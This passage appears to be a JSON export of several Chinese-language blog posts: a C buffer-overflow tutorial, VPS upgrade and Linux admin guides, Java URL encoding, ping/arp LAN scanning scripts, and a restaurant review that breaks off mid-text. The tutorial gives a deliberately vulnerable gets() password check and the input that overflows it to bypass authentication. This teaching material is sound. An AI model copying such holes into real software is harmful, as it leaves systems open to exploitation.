觀察變數的記憶體位址的程式碼：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main() { int pass = 0; char buff[10]; printf(\u0026#34;pass: 0x%08x\\n\u0026#34;, \u0026amp;pass); printf(\u0026#34;buff: 0x%08x\\n\u0026#34;, buff); printf(\u0026#34;Enter the password:\\n\u0026#34;); gets(buff); if(strcmp(buff, \u0026#34;gtwang\u0026#34;)) { printf(\u0026#34;Fail.\\n\u0026#34;); } else { printf(\u0026#34;Pass.\\n\u0026#34;); pass = 1; } if(pass) { /* 取得更高的權限 */ printf(\u0026#34;You are root now.\\n\u0026#34;); } return 0; } pass: 0x7ecdbec4 buff: 0x7ecdbeb8 Enter the password: 1234567891234 Fail. You are root now. 這時候若我們將 pass 與 buff 的宣告對調，變成：\nchar buff[10]; int pass = 0; 則輸出就會不一樣了：\npass: 0x7eaf2eb8 buff: 0x7eaf2ebc Enter the password: 1234567891234 Fail. 所以緩衝區溢位攻擊有時候也是要看運氣，以這個例子來說 pass 的位置要剛好在 buff 之後，才會發生被覆蓋掉的狀況。\n這裡只是示範緩衝區溢位的一種狀況，事實上只要是牽涉到記憶體存取的程式碼（例如指標、陣列等），都有可能因為不小心而造成緩衝區溢位，所以在使用 C/C++ 寫程式的時候，記憶體還是要小心管理。\n參考資料 GeeksforGeeks The Geek Stuff ","permalink":"https://blog.gtwang.org/programming/c-buffer-overflow-attack-with-example/","summary":"\u003cp\u003e本篇以 C 語言的實際範例，解釋緩衝區溢位攻擊的原理。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://zh.wikipedia.org/wiki/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA\"\u003e緩衝區溢位\u003c/a\u003e攻擊是一種典型的攻擊方式，雖然這種手法已經有一段的歷史，不過還是有可能因為程式設計者的疏忽，讓程式存在這樣的漏洞。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e以下我們以 C 語言的程式來解釋緩衝區溢位的原理以及攻擊方式。\u003c/p\u003e\n\u003ch2 id=\"緩衝區溢位\"\u003e緩衝區溢位\u003c/h2\u003e\n\u003cp\u003e程式中的緩衝區是指一塊特定的記憶體空間，程式在執行時可以將資料處存在其中，而緩衝區溢位（buffer overflow）就是指程式將資料寫入緩衝區時，超過了它的範圍，例如：\u003c/p\u003e","title":"C 語言緩衝區溢位攻擊範例程式碼"},{"content":"行政院主計總處「薪情平臺」網站可以讓民眾線上查詢最新的薪資水準資料，還可以看看自己的薪水落在哪一個區間。\n主計處在公布台灣的薪資調查報告時，時常因為資料呈現的方式不容易被大眾理解，而遭受到外界質疑資料的可信度，這次新建立的薪情平臺可以讓大家以視覺化的圖表，加上互動式的操作，增進民眾對於調查數據的理解。\n這個網站的主要功能可分為薪情體驗、薪情互動以及薪情探索三大類，薪資統計的名詞、定義等說明，可從答客問區查詢。\n名稱：行政院主計總處「薪情平臺」網站\n網址：https://earnings.dgbas.gov.tw/\n薪情體驗 薪情體驗區有九大主題，可查詢各種薪資相關的數據，並以圖表的方式呈現資料。\n個人薪情比比看 這是個人薪情比比看的功能，可以查詢自己的薪水跟其他人比較的狀況。下圖是每個月 40,000 元經常性薪資跟全台灣人的薪資比較的狀況。\n這份資料的來源是 105 年受僱員工薪資調查，而其中位數是 33,502 元，也就是說全台灣大約有一半的人每個月薪水少於 33,502 元，大部分人的薪水其實都在兩萬多到四萬左右。\n職缺薪情連連看 職缺薪情連連看功能，輸入想要的薪資之後，就會整理出這個薪資水平附近的職缺。\n結果報表會列出平均僱用起薪以及空缺人數，並以互動式的圖形呈現。\n行業調薪論輸贏 行業調薪論輸贏可以列出不同行業的調薪狀況比較。\n薪情互動 薪情互動區可以看到比較詳細一點的資料。\n四大產業薪資概況 這是製造業四大產業歷年來的薪資走勢與統計圖。\n廠商調薪情形 這是民國 86 年至 104 年，工業及服務業廠商調整經常性薪資的情形。\n男女薪資差異 這是民國 71 年至 105 年，台灣工業及服務業受雇員工男女薪資的差異。\n各行業薪資比較 這是各種不同行業的薪資比較圖。\n這張則是不同地區的薪資比較圖。\n薪情探索 薪情探索提供的資料最詳細，操作也比較複雜，適合比較專業的資料分析人員使用。\n查詢出來的資料可以在線上繪製各類的圖形，例如折線圖、直方圖等。\n然後也可以將資料以 Excel、ODS 或 PDF 檔等方式下載。\n答客問 答客問區有許多薪資統計的名詞與定義說明，若沒有統計背景知識的人，可以在這裡查看各項統計數字的意義。\n","permalink":"https://blog.gtwang.org/funny/dgbas-earnings-website-salary-in-taiwan/","summary":"\u003cp\u003e行政院主計總處「薪情平臺」網站可以讓民眾線上查詢最新的薪資水準資料，還可以看看自己的薪水落在哪一個區間。\u003c/p\u003e\n\u003cp\u003e主計處在公布台灣的薪資調查報告時，時常因為資料呈現的方式不容易被大眾理解，而遭受到外界質疑資料的可信度，這次新建立的薪情平臺可以讓大家以視覺化的圖表，加上互動式的操作，增進民眾對於調查數據的理解。\u003c/p\u003e","title":"行政院主計總處薪情平臺：查詢台灣薪資水準分布與統計資料"},{"content":"本篇是 G. T. Wang 部落格在維持網站正常服務的情況下，升級 Linode VPS 主機空間的紀錄。\n由於 G. T. Wang 部落格文章數不斷成長，又放了非常多的照片，最近我租用的 Linode VPS 主機硬碟空間快要不夠了，硬碟使用量到達 95%，其實原本應該是去年就要處理的事情，因為實在太忙了，所以一直拖到現在，眼下再不處理伺服器就會有問題了。\n我目前租用的 Linode VPS 是一個月 $10 元美金的方案，剛開始租用的時候，這個方案的 VPS 記憶體只有 1GB，而硬碟容量是 24GB，後來 Linode 的 VPS 方案免費升級之後，一個月 $10 元美金的方案記憶體變為 2GB，硬碟空間增加為 30GB，而舊的 VPS 也可以進行升級，這樣雖然可以解決我的 VPS 硬碟空間不夠的問題，不過升級的過程大約需要 24 分鐘，這段時間伺服器要處於關機的狀態。\n我的規劃是先把舊的 VPS 複製一份，並且設定好 DNS，在 VPS 升級期間就使用舊的 VPS 副本提供網頁服務，等待 VPS 升級完成後，再把 DNS 切換回來。\nMySQL/MariaDB 資料庫備份 由於我的規劃是使用既有的 VPS 直接升級，而 VPS 的副本只是在升級期間暫時頂替正式的網頁伺服器而已，再加上我的 WordPress 網站的性質並沒有很大量的訪客留言，在升級的期間也不會有太多的資料庫變動（可能只有幾則垃圾留言而已），所以我在這裡不考慮太多的 MySQL/MariaDB 資料庫備份與同步問題，只要讓網頁文章正常顯示即可，訪客留言我就不管了。\n事實上標準的作法是要將資料庫以 mysqldump 匯出至硬碟，然後在 VPS 的副本中匯入，或是使用 MySQL 的 FLUSH 指令將資料寫入硬後，再進行檔案的複製，在轉移的過程還要關閉資料庫的寫入功能，關於 MySQL/MariaDB 資料庫的標準備份方法，請參考 MySQL 說明手冊與 MariaDB 說明手冊。\n複製 Linode VPS 副本 Linode 中有提供 Backup/Restore 與 Clone 兩種備份與複製 VPS 的功能，兩種方式各有優缺點。\nClone 屬於比較低階的 block 層級複製，可以處理各種奇奇怪怪的硬碟配置（例如磁碟加密），但是需要關機後才能執行。\nBackup/Restore 屬於比較高階的檔案層級備份，只能適用於一般的 ext3 或 ext4 檔案系統（ext4 會備份成 ext3），而且 ACL 與延伸屬性（extended attributes）也無法備份，可於開機狀態下執行。\n因為我的要求是網站不斷線，所以選擇 Backup/Restore 的方式是比較簡單的，一般的 WordPress 網站通常都可以使用 Backup 與 Restore 的方式來複製 VPS，這種方式可以在不關機的狀態下複製整個系統的檔案，當然缺點就是那些正在寫入的檔案內容會有不一致的問題，複製出來的資料會有些小差異，不過我只是要暫時頂替正式的伺服器用的，因此這個小問題可以忽略。\nStep 1\n首先使用 Backup 的功能製作一份 snapshot。\n如果 WordPress 網站內容在這一天內變動不大，可以直接使用 Daily Backup 的備份檔，這樣就不需要等待 snapshot 製作的過程。\nStep 2\n製作好 snapshot 備份檔之後，使用 Restore 的功能，建立另外一台新的 VPS。\nStep 3\n如果沒有閒置的 VPS，就要新增一個，點選「Add a Linode」新增 VPS。\nStep 4\n選擇適合的 VPS 方案，通常選擇跟原來一樣的方案即可。\nStep 5\n選擇 Linode 機房，這裡也是選擇跟原來一樣的機房即可。\nStep 6\n接著就可以看到新增的 VPS 主機了，這裡有新主機的 IP 位址可以先記下來，等一下會用到。\nStep 7\n回到 Restore 的畫面，選擇新的 VPS 主機，進行回復工作。\nStep 8\n接著要等待檔案複製到新的 VPS 主機，需要的時間跟 VPS 的大小有關，我的 VPS 大概等了十幾分鐘。\nStep 9\n檔案複製完成之後，點選「Boot」開機。\nStep 10\n我發現 Restore 之後的新 VPS 會自動設定好 IP 位址（/etc/network/interfaces），所以開機之後可以立即上線使用。\n按照舊 VPS 的方式登入主機，所有的操作方式都相同，只是 IP 位址換成新的。\nssh seal@172.104.63.103 檢查一下系統，若都正常的話，就可以開始轉移 DNS 的設定了。\n轉移 DNS 設定 接下來就可以將網站的網址指向新的 VPS 伺服器了。\nStep 1\n先更改 hosts 設定檔，在本機測試一下新 VPS 的網站是否正常。\n172.104.63.103 blog.gtwang.org 確認新的 VPS 主機可以正常服務之後，即可繼續轉移 DNS。\nStep 2\n修改網站的 DNS 記錄，將其指向新的 VPS 伺服器。\n這個部份會因為自己所使用的 DNS 代管主機不同而有差異。\nStep 3\n等待 DNS 完全生效，通常是幾分鐘到幾天不等，要看自己的 DNS TTL 設定。我們可以用 dig 來檢查各大主要的 DNS 查詢的結果：\n# Hinet DNS dig @168.95.192.1 blog.gtwang.org dig @168.95.192.1 blog.gtwang.org # Google DNS dig @8.8.8.8 blog.gtwang.org dig @8.8.4.4 blog.gtwang.org 等 DNS 完全生效之後，再繼續 Linode VPS 的升級動作。\nLinode VPS 升級 Step 1\n在舊的 VPS 頁面中，點選「Enter the Upgrade Queue NOW」，進行 Linode VPS 的升級。\nStep 2\n等待 VPS 進行升級。\nStep 2\nVPS 會自動進入升級佇列。\nStep 4\nLinode VPS 的升級都是自動的，不需要太多人工處理，只需要等待即可。\nStep 5\n升級完成後，會有多的硬碟空間可以使用。在調整磁碟分割區之前，要先讓 VPS 關機，然後再點選磁碟分割區的「Edit」進行調整。\nStep 6\n輸入磁碟分割區的大小，通常就是輸入最大值，把多的空間全部用完，然後點選「Save Changes」儲存。\nStep 7\n完成後確認一下磁碟是否有充分使用，接著就可以開機繼續使用了。\nStep 8\n登入 VPS 主機，確認升級完成後的系統是否都正常，硬碟在變更大小之後，Linux 系統上也不需要特別作設定，直接就可以使用了，而記憶體也從原本的 1GB 增加為 2GB。\n如果都沒有什麼問題，則再將網站的 DNS 改回來，這樣正式網站就可以繼續上線服務了。\nStep 9\n最後查看主機的 uptime 記錄，用這樣的升級方式，uptime 可以維持在 100%，網站完全不會斷線，非常不錯。\nStep 10\n在 VPS 升級完成之後，建議等待一段時間再把 VPS 的副本刪除，要等多就就要看 DNS 的 TTL 設定，像我的 TTL 設定是 5 分鐘，大概要等十幾分鐘之後，才不會有連線跑到舊的主機上。\n刪除 Linode VPS 副本時要看清楚，不要刪錯了。\n這樣就大功告成了。\n更多 Linode 相關的教學，可以參考本站 Linode 相關的文章。\n參考資料 Linode Backup 服務說明 ","permalink":"https://blog.gtwang.org/web-hosting/linode-vps-online-upgrade-20170330/","summary":"\u003cp\u003e本篇是 G. T. Wang 部落格在維持網站正常服務的情況下，升級 Linode VPS 主機空間的紀錄。\u003c/p\u003e\n\u003cp\u003e由於 G. T. Wang 部落格文章數不斷成長，又放了非常多的照片，最近我租用的 \u003ca href=\"/web-hosting/linode-vps-registration-tutorial/\"\u003eLinode VPS\u003c/a\u003e 主機硬碟空間快要不夠了，硬碟使用量到達 95%，其實原本應該是去年就要處理的事情，因為實在太忙了，所以一直拖到現在，眼下再不處理伺服器就會有問題了。\u003c/p\u003e","title":"Linode VPS 虛擬主機升級紀錄，維持網站不斷線"},{"content":"這裡介紹如何在 CentOS Linux 的命令列中，用指令修改系統時區。\n剛安裝好的 CentOS Linux 伺服器若沒有設定好時區，那麼就算透過網路校時之後，時間還是錯的，例如時區若是設定成美國紐約的時間，就會與台灣本地間時間相差 13 個小時，這樣會讓系統產生許多問題，例如 log 紀錄檔的時間都會不對，這種狀況就要調整時區的設定。\n查詢 CentOS Linux 系統時區設定 系統的時區可以從時間的資訊看出來：\ndate Wed Mar 29 07:19:32 EDT 2017 在時間的輸出訊息中會包含時區的資訊，像這裡的 EDT 就是代表美國紐約的時間，而台灣的時區簡寫是 CST，如果時區不對就要進行調整。\n系統的 /usr/share/zoneinfo/ 目錄中存放了全球所有的時區設定檔，每一個檔案代表一個時區，例如 /usr/share/zoneinfo/America/New_York 代表美國紐約的時區。\n/etc/localtime 這個連結檔是系統用來紀錄時區設定的檔案，從這個檔案的內容也可以看出目前系統的時區設定：\nls -l /etc/localtime 更改 CentOS Linux 系統時區設定 更改時區前，先查看一下可用的時區名稱：\ntimedatectl list-timezones 這個指令會以 less 指令的方式，列出所有的時區。我們也可以直接用 grep 尋找台灣所屬的台北時區：\ntimedatectl list-timezones | grep Taipei Asia/Taipei 得知亞洲的台北時區名稱後，更改系統時區設定：\nsudo timedatectl set-timezone Asia/Taipei 設定完成之後，再用 date 檢查一次時區：\ndate 或是查看 /etc/localtime：\nls -l /etc/localtime 參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/centos-linux-change-system-timezone-command-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 CentOS Linux 的命令列中，用指令修改系統時區。\u003c/p\u003e\n\u003cp\u003e剛安裝好的 CentOS Linux 伺服器若沒有設定好時區，那麼就算透過網路校時之後，時間還是錯的，例如時區若是設定成美國紐約的時間，就會與台灣本地間時間相差 13 個小時，這樣會讓系統產生許多問題，例如 log 紀錄檔的時間都會不對，這種狀況就要調整時區的設定。\u003c/p\u003e","title":"CentOS Linux 更改系統時區指令教學"},{"content":"這裡介紹在 Java 程式中，如何使用 java.net.URLEncoder 與 java.net.URLDecoder 對網址進行百分比編碼與解碼。\n有時常在處理網址的人應該會發現某些網址在從瀏覽器複製下來之後，就會變成一些百分比加上十六進位碼的奇怪網址，而貼回去瀏覽器又變正常了，就個就是網址 URL 百分比編碼的問題，這裡介紹如何以 Java 程式來處理網址的百分比編碼與解碼。\n網址 URL 百分比編碼 在 RFC 3986 標準中規範一些 URI 的保留字元（reserved characters），若網址中出現這些保留字元時，就必須把這些保留字元轉為百分比編碼的表示方式，例如：!、#、: 與 \u0026amp; 等。\n百分比編碼的規則就是把字元的 ASCII 碼以十六進位表示，前方再加上一個百分比符號，例如井字號 # 的 ASCII 碼是 0x23，所以經過百分比編碼轉換之後，就是 %23。\n若是遇到非 ASCII 的字元（例如中文字），則會將資料以 UTF-8 的編碼方式表示成一連串的位元組序列，再將每個位元組以百分比編碼的方式進行編碼。\n關於網址的百分比編碼介紹，可以參考維基百科的 Percent-encoding 說明。\n平常最常會遇到的網址百分比編碼的地方就是瀏覽器的網址列，當我們在用 Google 搜尋後，若想要把網址複製起來，有時候就會遇到這種編碼問題：\n雖然在瀏覽器的網址列中看到的中文字是正常顯示的，但是如果將這串文字複製起來，貼在一般的文字編輯器時，就會出現這樣經過編碼的 URL 網址：\nhttps://www.google.com.tw/search?q=%E4%B8%AD%E6%96%87 原本網址的中文兩個字，在這裡變成了 %E4%B8%AD%E6%96%87，就這是因為瀏覽器在使用者複製網址時，自動把網址經過一道百分比編碼轉換了，事實上這才是標準的網址寫法。\nHTML 的 form 表單在用 GET 或 POST 等管道送出資料時（content-type 為 application/x-www-form-urlencoded），其欄位名稱以及資料內容也會經過百分比編碼，不過在編碼規則上有一些小改變（請參考 W3C 網站），最常見的差異就是原本的空白字元會被編碼成 %20，而在這裡就會轉為加號 +。\n這個差異在瀏覽器的網址列就可以時常看到，當我們在 Google 搜尋含有空白的關鍵字時，網址會變成這樣：\n在 HTTP 的 GET 參數中的空白會被瀏覽器轉換為加號 +，所以 Google 搜尋 ubuntu linux 的網址會變成這樣：\nhttps://www.google.com.tw/search?q=ubuntu+linux 簡單來說，在網址中問號 ? 左邊的空白會轉換成 %20，而右邊的空白則會轉換成 +。\nJava 處理網址百分比編碼與解碼 Java 本身的 java.net.URLEncoder 與 java.net.URLDecoder 就可以處理網址的百分比編碼與解碼，以下是編碼的範例程式碼：\nimport java.io.UnsupportedEncodingException; import java.net.URLEncoder; public class URLEncode { public static void main(String[] args) { // 待編碼的網址 String url = \u0026#34;http://www.gtwang.org/目錄?var1=中文\u0026amp;var2=spa ce\u0026#34;; try { // 進行 URL 百分比編碼 String encodedURL = URLEncoder.encode(url, \u0026#34;UTF-8\u0026#34;); // 輸出結果 System.out.println(encodedURL); } catch (UnsupportedEncodingException e) { // 例外處理 ... } } } 以 javac 編譯：\njavac URLEncode.java 執行：\njava URLEncode http%3A%2F%2Fwww.gtwang.org%2F%E7%9B%AE%E9%8C%84%3Fvar1%3D%E4%B8%AD%E6%96%87%26var2%3Dspa+ce 這是解碼的範例程式碼：\nimport java.io.UnsupportedEncodingException; import java.net.URLDecoder; public class URLDecode { public static void main(String[] args) { // 待解碼的網址 String encodedURL = \u0026#34;http%3A%2F%2Fwww.gtwang.org%2F%E7%9B%AE%E9%8C%84%3Fvar1%3D%E4%B8%AD%E6%96%87%26var2%3Dspa+ce\u0026#34;; try { // 進行 URL 百分比解碼 String url = URLDecoder.decode(encodedURL, \u0026#34;UTF-8\u0026#34;); // 輸出結果 System.out.println(url); } catch (UnsupportedEncodingException e) { // 例外處理 ... } } } 以 javac 編譯：\njavac URLDecode.java 執行：\njava URLDecode http://www.gtwang.org/目錄?var1=中文\u0026var2=spa ce 實務上我們可以將編碼與解碼的函數寫成獨立的包裝函數，這樣會比較方便，另外在解碼時，要考慮網址被重複編碼兩次以上的的狀況，以下是一個較完整的範例程式碼。\nimport java.io.UnsupportedEncodingException; import java.net.URLDecoder; import java.net.URLEncoder; public class URLEncodeDecode { public static void main(String[] args) { String url = \u0026#34;http://www.gtwang.org/目錄?var1=中文\u0026amp;var2=spa ce\u0026#34;; String encodedURL = encode(url); System.out.println(\u0026#34;Encoded URL: \u0026#34; + encodedURL); String decodedURL = decode(encodedURL); System.out.println(\u0026#34;Decoded URL: \u0026#34; + decodedURL); } // 百分比解碼函數 public static String decode(String url) { try { String prevURL = \u0026#34;\u0026#34;; String decodeURL = url; while(!prevURL.equals(decodeURL)) { prevURL = decodeURL; decodeURL = URLDecoder.decode( decodeURL, \u0026#34;UTF-8\u0026#34; ); } return decodeURL; } catch (UnsupportedEncodingException e) { return \u0026#34;Error: \u0026#34; + e.getMessage(); } } // 百分比編碼函數 public static String encode(String url) { try { String encodeURL = URLEncoder.encode( url, \u0026#34;UTF-8\u0026#34; ); return encodeURL; } catch (UnsupportedEncodingException e) { return \u0026#34;Error: \u0026#34; + e.getMessage(); } } } 參考資料 DZone StackOverflow ","permalink":"https://blog.gtwang.org/programming/url-percent-encoding-and-decoding-using-java/","summary":"\u003cp\u003e這裡介紹在 Java 程式中，如何使用 \u003ccode\u003ejava.net.URLEncoder\u003c/code\u003e 與 \u003ccode\u003ejava.net.URLDecoder\u003c/code\u003e 對網址進行百分比編碼與解碼。\u003c/p\u003e\n\u003cp\u003e有時常在處理網址的人應該會發現某些網址在從瀏覽器複製下來之後，就會變成一些百分比加上十六進位碼的奇怪網址，而貼回去瀏覽器又變正常了，就個就是網址 URL 百分比編碼的問題，這裡介紹如何以 Java 程式來處理網址的百分比編碼與解碼。\u003c/p\u003e","title":"Java 程式處理網址 URL 百分比編碼與解碼教學"},{"content":"這裡介紹如何使用 ping 與 arp 指令快速清查區域網路的電腦與網路設備，建立 IP 位址與網路卡 MAC 卡號對應表。\n對於網路管理者（網管）來說，掃描區域網路設備、取得所有電腦的 IP 位址與 MAC 卡號對應表是基本的技能，而且也是一項時常需要做的工作，如果剛好臨時遇到需要掃描 IP 與 MAC 卡號，手上又沒有適合的軟體時，就可以使用各種作業系統都有內建的 ping 與 arp 指令來處理，以下是使用教學以及範例指令稿。\nping 與 arp 指令 ping 與 arp 指令是一般的 Windows、Mac OS X 與 Linux 系統都會內建的指令，所以使用這種方法掃描網路，完全不需要安裝任軟體，只需要撰寫一個簡單的指令稿即可，對於網管來說相當方便而且實用。\nLinux 系統 這是適用於 Linux 系統的 bash 指令稿，執行後可以掃描整個 Class C 區域網路的 IP 與 MAC 卡號對應表：\n#!/bin/bash # Ping 區域網路中所有的 IP 位址 for ip in 192.168.1.{1..254}; do # 刪除舊的 arp 記錄 sudo arp -d $ip \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 # 藉由 ping 取得新的 arp 資訊 ping -c 5 $ip \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 \u0026amp; done # 等待所有背景的 Ping 結束 wait # 輸出 ARP table arp -n | grep -v incomplete 我們使用 bash 的 for 迴圈，配合背景子行程的方式同時 ping 所有的網路設備，這樣可以讓程式大幅加速，幾秒鐘就可以 ping 完整個 Class C 網路，關於這種平行化 bash 指令稿的撰寫方式，可以參考 Bash 平行執行背景子行程與 wait 的教學。\n執行之後，輸出會類似這樣：\nAddress HWtype HWaddress Flags Mask Iface 192.168.1.1 ether 10:7b:ef:12:4f:af C wlan0 192.168.1.102 ether 74:23:44:23:d3:96 C wlan0 192.168.1.105 ether 28:e3:1f:50:b9:94 C wlan0 Mac OS X 系統 在 Mac OS X 中使用 ping 與 arp 的 bash 指令稿與 Linux 幾乎相同，只是在 arp 指令的參數有些差異：\n#!/bin/bash # Ping 區域網路中所有的 IP 位址 for ip in 140.110.99.{1..254}; do # 刪除舊的 arp 記錄 sudo arp -d $ip \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 # 藉由 ping 取得新的 arp 資訊 ping -c 5 $ip \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 \u0026amp; done # 等待所有背景的 Ping 結束 wait # 輸出 ARP table arp -na | grep -v incomplete 輸出的格式有些不同：\n? (192.168.1.4) at 70:28:8b:26:1b:ba on en1 ifscope [ethernet] ? (192.168.1.11) at 60:e3:27:14:a5:dc on en1 ifscope [ethernet] ? (192.168.1.12) at 84:c9:b2:78:cd:ee on en1 ifscope [ethernet] Windows 系統 Windows 系統上使用 ping 與 arp 指令的方式比較不同，不過大原則是一樣的，都是用 ping 指令掃過一輪之後，執行 arp 指令輸出 arp table，請開啟命令提示字元，執行以下的指令。\n首先刪除舊的 arp table，這一行需要用管理者權限執行：\narp -d 使用 for 迴圈將每一個 IP 位址都 ping 過一次：\nfor /L %i in (1,1,254) do ping 192.168.1.%i -n 1 -w 300 \u0026gt; NUL 執行 arp 指令，輸出 arp table：\narp -a | find \u0026#34;192.168\u0026#34; | find \u0026#34;動態\u0026#34; arping 指令 arping 是一個類似 ping 的小工具，可以對區域網路中的設備送出 arp 請求封包，用更低階的方式檢查網路連線狀況，這裡我們示範使用 arping 取得 IP 位址與網路卡 MAC 卡號對應表的作法。\narping 只適用於 Linux 與 Mac OS X，Windows 系統則要使用 cygwin 安裝。\n在 Debian 系列的 Linux，可以使用 apt 安裝 apring 工具：\nsudo apt-get install arping 使用 arping ping 特定的 IP 位址：\narping -I wlp3s0 -w 3 -f 192.168.1.1 ARPING 192.168.1.1 from 192.168.1.104 wlp3s0 Unicast reply from 192.168.1.1 [10:7B:EF:12:4F:AF] 2.749ms Sent 1 probes (1 broadcast(s)) Received 1 response(s) arping 輸出訊息中就有包含 IP 與 MAC 卡號的資訊，所以只要掃過每個 IP 位址，再用 grep 整理一下即可，以下是使用 arping 來 ping 整個區域網路所有 IP 位址的 bash 指令稿：\n#!/bin/bash # 用 arping 來 ping 區域網路中所有的 IP 位址 for ip in 192.168.1.{1..254}; do arping -I wlp3s -w 3 -f $ip | grep reply \u0026amp; done # 等待所有背景的 arping 結束 wait Unicast reply from 192.168.1.1 [10:7B:EF:12:4F:AF] 7.072ms Unicast reply from 192.168.1.103 [74:23:44:23:D3:96] 179.119ms Unicast reply from 192.168.1.102 [28:E3:1F:50:B9:94] 219.907ms 參考資料 Linux.com StackOverflow ","permalink":"https://blog.gtwang.org/linux/ping-and-arp-scan-ip-mac-address-script/","summary":"\u003cp\u003e這裡介紹如何使用 \u003ccode\u003eping\u003c/code\u003e 與 \u003ccode\u003earp\u003c/code\u003e 指令快速清查區域網路的電腦與網路設備，建立 IP 位址與網路卡 MAC 卡號對應表。\u003c/p\u003e\n\u003cp\u003e對於網路管理者（網管）來說，掃描區域網路設備、取得所有電腦的 IP 位址與 MAC 卡號對應表是基本的技能，而且也是一項時常需要做的工作，如果剛好臨時遇到需要掃描 IP 與 MAC 卡號，手上又沒有適合的軟體時，就可以使用各種作業系統都有內建的 \u003ccode\u003eping\u003c/code\u003e 與 \u003ccode\u003earp\u003c/code\u003e 指令來處理，以下是使用教學以及範例指令稿。\u003c/p\u003e","title":"用 ping 與 arp 指令掃瞄區域網路設備，產生 IP 與 MAC 卡號對應表教學"},{"content":"這裡介紹如何解決 Windows 命令提示字元出現的「要求的作業需要提升的權限」問題。\n在 Windows 的命令提示字元中如果要執行一些需要系統管理員權限的指令時，就會出現類似這樣的錯誤訊息：\n這個問題是因為一般使用者的權限不足，我們需要改用系統管理員身分執行來執行命令提示字元，以下是解決這個問題的步驟。\nStep 1\n在 Windows 選單中，找到命令提示字元後，點選滑鼠右鍵，選擇「以系統管理員身分執行」。\nStep 2\n這樣就可以正常執行需要系統管理員權限的特殊指令了。\n","permalink":"https://blog.gtwang.org/windows/windows-10-cmd-the-requested-operation-requires-elevation-problem/","summary":"\u003cp\u003e這裡介紹如何解決 Windows 命令提示字元出現的「要求的作業需要提升的權限」問題。\u003c/p\u003e\n\u003cp\u003e在 Windows 的命令提示字元中如果要執行一些需要系統管理員權限的指令時，就會出現類似這樣的錯誤訊息：\u003c/p\u003e","title":"解決 Windows 命令提示字元「要求的作業需要提升的權限」問題"},{"content":"大新營異國 Buffet 蔬食料理是由幾家新營地區的餐飲店合作，共同推出的蔬食料理，有外燴歐式自助餐（buffet）以及宴席合菜等，可依消費者客製化餐點。\n這次我們辦的 buffet 使用南瓜樹蔬食館的場地，這是南瓜樹蔬食館的大門口。\n阿玄在門口很好奇。\n大新營異國 Buffet 蔬食料理目前是採預約制的，至少三天以前要跟主廚預約，也可以辦到府的 buffet。\n在預約時可以跟主廚討論餐點的內容，主廚可以依照客戶的需求調整餐點，例如全素、蛋素、奶素、蛋奶素，以及兒童的餐點等。\n由於南瓜樹蔬食館中午有對外營業，這個場地只有晚上可以提供 buffet 使用，而使用這個場地是不需要額外收費。\n我們這次的 buffet 總共有 16 道菜色，因為我們有一半的人是吃全素的，所以主廚總共安排 9 道全素餐點，加上這次參加聚餐有好幾位小朋友，所以還特別增加造型饅頭與造型湯圓餐點。\n從菜色的設計與擺盤，真的覺得主廚很用心。這次參與聚餐的朋友們都覺得餐點很不錯，還有幾位葷食的朋友，吃到這樣的蔬食 buffet 都讚不絕口。\n西式的總匯三明治、韓式煎餅、越南春捲、黑胡椒素排，還有可愛的造型饅頭，光擺在一起就讓人覺得好吃，每樣都想夾些來嚐嚐看。\n日式軍艦壽司、韓式涼拌冬粉、中式的陶鍋猴頭菇、鐵板三杯菇，個人覺得吃起來真的不輸外面的蔬食宴席，每道餐點都很有特色。\n主廚推廣蔬食的理念，很值得認同，並結合多家店家聯手開發蔬食菜色，讓菜色更多元化，是蔬食者的一大福音。\n看到這樣滿滿一桌的蔬食料理，真的很開心，滿心的喜悅，請朋友來用餐也很體面。雖然這次的場地只是使用一般素食餐館，不是高級餐廳，但是豐盛的料理，讓這次參與聚會的朋友們都笑滿懷，吃得很開心。\n這一道是馬鈴薯沙拉，上面黑色的豆子是道地的日本黑豆。\n馬鈴薯泥捏得很紮實，吃起來很有飽足感。黑亮亮的那一顆日本黑豆，我還是第一次吃到，甜甜的，很好吃。\n這一道是素食生魚片（用蒟蒻做的）與拔絲地瓜，這兩道是大眾接受度也蠻高的菜色。生魚片的擺盤如果能夠在底部襯些綠色生菜會更漂亮。或是多增加不同種類的素生魚片會更好。拔絲地瓜真的很不錯吃。\n主廚這次花了很多心力在擺盤的果雕上面，如果偏好歐式風格、喜好香草或花朵的人，也可跟主廚討論，主廚可以配合調整。\n拔絲地瓜灑上白芝蔴，看起就很可口，喜歡地瓜的朋友，絕不能錯過這一道。\n大人小孩都愛的拔絲地瓜。我也不例外。\n這一道是韓式涼拌冬粉，這個冬粉是正統的韓國冬粉，口感很 Q，我還是第一次吃到。\n這一道鐵板三杯菇，味道還不錯。\n這一道是陶燒猴頭菇，很不錯吃，是中式的素食喜宴常出現的主菜。\n這一道韓式香椿拌飯，口味還不錯。\n這一道是韓式辣炒年糕，正統韓國年糕真的非常 